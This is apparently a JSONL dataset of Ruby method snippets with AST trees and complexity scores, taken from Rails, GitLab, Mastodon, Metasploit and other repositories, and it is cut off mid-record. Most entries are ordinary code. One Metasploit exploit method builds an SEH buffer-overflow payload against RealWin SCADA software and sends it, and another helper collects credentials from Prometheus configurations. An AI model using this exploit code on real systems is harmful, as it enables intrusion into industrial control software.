{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/content_security_policy.rb","start_line":12,"raw_source":"def media_hosts\n    [assets_host, cdn_host_value, paperclip_root_url].concat(extra_media_hosts).compact\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"media_hosts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assets_host\"]},{\"type\":\"send\",\"children\":[null,\"cdn_host_value\"]},{\"type\":\"send\",\"children\":[null,\"paperclip_root_url\"]}]},\"concat\",{\"type\":\"send\",\"children\":[null,\"extra_media_hosts\"]}]},\"compact\"]}]}","id":"de83c764-575e-4e52-a626-4b0d0dd8aa31"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/live_stream_test.rb","start_line":643,"raw_source":"def test_stale_without_etag\n      get :with_stale\n      assert_equal 200, response.status.to_i\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stale_without_etag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"with_stale\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"status\"]},\"to_i\"]}]}]}]}","id":"40770af7-b7c2-4b47-b9d3-d769adddf837"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/rescuable.rb","start_line":139,"raw_source":"def constantize_rescue_handler_class(class_or_name)\n          case class_or_name\n          when String, Symbol\n            begin\n              # Try a lexical lookup first since we support\n              #\n              #     class Super\n              #       rescue_from 'Error', with: …\n              #     end\n              #\n              #     class Sub\n              #       class Error < StandardError; end\n              #     end\n              #\n              # so an Error raised in Sub will hit the 'Error' handler.\n              const_get class_or_name\n            rescue NameError\n              class_or_name.safe_constantize\n            end\n          else\n            class_or_name\n          end\n        end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"constantize_rescue_handler_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_or_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_or_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"const_get\",{\"type\":\"lvar\",\"children\":[\"class_or_name\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_or_name\"]},\"safe_constantize\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"class_or_name\"]}]}]}","id":"4176ec8b-293d-4cb7-8c7c-89a7aa5e4bff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb","start_line":56,"raw_source":"def exploit\n    connect\n\n    data = [0x6a541264].pack('V')\n    data << [0x00000020].pack('V')\n    data << [0x00001ff4].pack('V')\n    data << rand_text_alpha_upper(228)\n    data << generate_seh_payload(target.ret)\n    data << rand_text_alpha_upper(10024 - payload.encoded.length)\n    data << \"\\x00\"\n\n    print_status(\"Trying target #{target.name}...\")\n    sock.put(data)\n\n    handler\n    disconnect\n  end","complexity_score":34.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1783894628]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[32]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[8180]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[228]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10024]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"10965d68-64aa-49ed-ad37-d30d593943f8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unmodified_reduce_accumulator.rb","start_line":199,"raw_source":"def allowed_type?(parent_node)\n          !parent_node.dstr_type?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_node\"]},\"dstr_type?\"]},\"!\"]}]}","id":"b3276cb5-5598-40c4-956d-9c2028c1f31d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/failure_safety_behavior.rb","start_line":94,"raw_source":"def test_delete_multi_failure_returns_zero\n    key = SecureRandom.uuid\n    other_key = SecureRandom.uuid\n    @cache.write_multi(\n      key => SecureRandom.alphanumeric,\n      other_key => SecureRandom.alphanumeric\n    )\n\n    emulating_unavailability do |cache|\n      assert_equal 0, cache.delete_multi([key, other_key])\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_multi_failure_returns_zero\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"other_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write_multi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emulating_unavailability\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cache\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache\"]},\"delete_multi\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"other_key\"]}]}]}]}]}]}]}","id":"35e6c9bf-409d-4155-a6e8-aba2c88c9b50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/ref_service.rb","start_line":82,"raw_source":"def find_branch(branch_name)\n        request = Gitaly::FindBranchRequest.new(\n          repository: @gitaly_repo,\n          name: encode_binary(branch_name)\n        )\n\n        response = gitaly_client_call(@repository.storage, :ref_service, :find_branch, request, timeout: GitalyClient.medium_timeout)\n        branch = response.branch\n        return unless branch\n\n        target_commit = Gitlab::Git::Commit.decorate(@repository, branch.target_commit)\n        Gitlab::Git::Branch.new(@repository, branch.name.dup, branch.target_commit.id, target_commit)\n      rescue GRPC::BadStatus => e\n        raise e unless e.message.include?(AMBIGUOUS_REFERENCE)\n\n        raise Gitlab::Git::AmbiguousRef, \"branch is ambiguous: #{branch_name}\"\n      end","complexity_score":31.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"FindBranchRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"ref_service\"]},{\"type\":\"sym\",\"children\":[\"find_branch\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"branch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_commit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"decorate\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"target_commit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Branch\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"name\"]},\"dup\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch\"]},\"target_commit\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"target_commit\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"BadStatus\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"AMBIGUOUS_REFERENCE\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"AmbiguousRef\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"branch is ambiguous: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]}]}]}]}]},null]}]}","id":"bd85192f-0269-47af-9be1-4a15a9ab1615"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/amqp/amqp_version.rb","start_line":33,"raw_source":"def peer\n    rhost = datastore['RHOST']\n    rport = datastore['RPORT']\n    if Rex::Socket.is_ipv6?(rhost)\n      \"[#{rhost}]:#{rport}\"\n    else\n      \"#{rhost}:#{rport}\"\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"peer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rhost\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rport\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"lvar\",\"children\":[\"rhost\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhost\"]}]},{\"type\":\"str\",\"children\":[\"]:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rport\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rport\"]}]}]}]}]}]}","id":"cf1d3f33-5b08-4fbb-b72f-2bd267a58a2c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/http.rb","start_line":23,"raw_source":"def fetch_page(url, referer = nil, depth = nil)\n      fetch_pages(url, referer, depth).last\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"referer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"depth\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_pages\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"referer\"]},{\"type\":\"lvar\",\"children\":[\"depth\"]}]},\"last\"]}]}","id":"eb35bf6e-31bc-4729-ae32-723207aa0d3b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/prometheus.rb","start_line":318,"raw_source":"def process_linode_sd_configs(job_name, linode_sd_configs)\n      username, password = process_authorization(linode_sd_configs['authorization'])\n      cred = credential_data\n      cred[:port] = ''\n      cred[:address] = ''\n      cred[:username] = username\n      cred[:private_data] = password\n      create_credential_and_login(cred)\n      @table_creds << [\n        job_name,\n        'linode_sd_configs',\n        '',\n        '',\n        username,\n        password,\n        ''\n      ]\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_linode_sd_configs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]},{\"type\":\"arg\",\"children\":[\"linode_sd_configs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\"]},{\"type\":\"lvasgn\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"process_authorization\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"linode_sd_configs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"authorization\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred\",{\"type\":\"send\",\"children\":[null,\"credential_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_and_login\",{\"type\":\"lvar\",\"children\":[\"cred\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table_creds\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]},{\"type\":\"str\",\"children\":[\"linode_sd_configs\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"2fb1c543-29b7-424e-9be4-f32d4f78c679"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":58,"raw_source":"def test_period_for_local_with_ambiguous_time\n    zone = ActiveSupport::TimeZone[\"Moscow\"]\n    period = zone.period_for_local(Time.utc(2015, 1, 1))\n    assert_equal period, zone.period_for_local(Time.utc(2014, 10, 26, 1, 0, 0))\n  end","complexity_score":11.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_period_for_local_with_ambiguous_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Moscow\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"period\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"period_for_local\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"period\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"period_for_local\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[26]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"c29e5d8f-9a65-4d90-9b7b-e42d312f9086"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_p_sent_notifications_records_related_to_design_management.rb","start_line":10,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          connection.execute(\n            <<~SQL\n              WITH relation AS (\n                #{sub_batch.select(:id, :noteable_id).limit(sub_batch_size).to_sql}\n              )\n              UPDATE \"p_sent_notifications\"\n              SET\n                \"namespace_id\" = \"design_management_designs\".\"namespace_id\"\n              FROM\n                \"relation\"\n                INNER JOIN \"design_management_designs\" ON \"design_management_designs\".\"id\" = \"relation\".\"noteable_id\"\n              WHERE\n                \"p_sent_notifications\".\"id\" = \"relation\".\"id\"\n            SQL\n          )\n        end\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relation AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"noteable_id\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"sub_batch_size\"]}]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE \\\"p_sent_notifications\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"namespace_id\\\" = \\\"design_management_designs\\\".\\\"namespace_id\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"relation\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN \\\"design_management_designs\\\" ON \\\"design_management_designs\\\".\\\"id\\\" = \\\"relation\\\".\\\"noteable_id\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"p_sent_notifications\\\".\\\"id\\\" = \\\"relation\\\".\\\"id\\\"\\n\"]}]}]}]}]}","id":"696be040-0c58-45b5-8916-fd61f2c73e2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251016200944_replace_sharding_key_trigger_on_system_note_metadata_table.rb","start_line":13,"raw_source":"def up\n    create_trigger(:system_note_metadata, NEW_TRIGGER_NAME, NEW_FUNCTION_NAME, fires: 'BEFORE INSERT')\n    drop_trigger(:system_note_metadata, OLD_TRIGGER_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_trigger\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"const\",\"children\":[null,\"NEW_TRIGGER_NAME\"]},{\"type\":\"const\",\"children\":[null,\"NEW_FUNCTION_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fires\"]},{\"type\":\"str\",\"children\":[\"BEFORE INSERT\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"const\",\"children\":[null,\"OLD_TRIGGER_NAME\"]}]}]}]}","id":"e5e500fa-4419-4b8a-ae1f-3763e7101424"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":108,"raw_source":"def create_notification(recipient_id, reason)\n    notification_attributes = {\n      recipient_id:,\n      resource:,\n      journal:,\n      actor: user_with_fallback,\n      reason:,\n      read_ian: strategy.supports_ian?(reason) ? false : nil,\n      mail_reminder_sent: strategy.supports_mail_digest?(reason) ? false : nil,\n      mail_alert_sent: strategy.supports_mail?(reason) ? false : nil\n    }\n\n    Notifications::CreateService\n      .new(user: user_with_fallback)\n      .call(notification_attributes)\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient_id\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notification_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recipient_id\"]},{\"type\":\"lvar\",\"children\":[\"recipient_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"journal\"]},{\"type\":\"send\",\"children\":[null,\"journal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actor\"]},{\"type\":\"send\",\"children\":[null,\"user_with_fallback\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_ian\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"supports_ian?\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mail_reminder_sent\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"supports_mail_digest?\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mail_alert_sent\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"supports_mail?\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user_with_fallback\"]}]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"notification_attributes\"]}]}]}]}","id":"c0849e1b-fb3d-4105-94d2-ea072a253b7c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/hidden_field.rb","start_line":7,"raw_source":"def render\n          @options.reverse_merge!(autocomplete: \"off\") unless ActionView::Base.remove_hidden_field_autocomplete\n          super\n        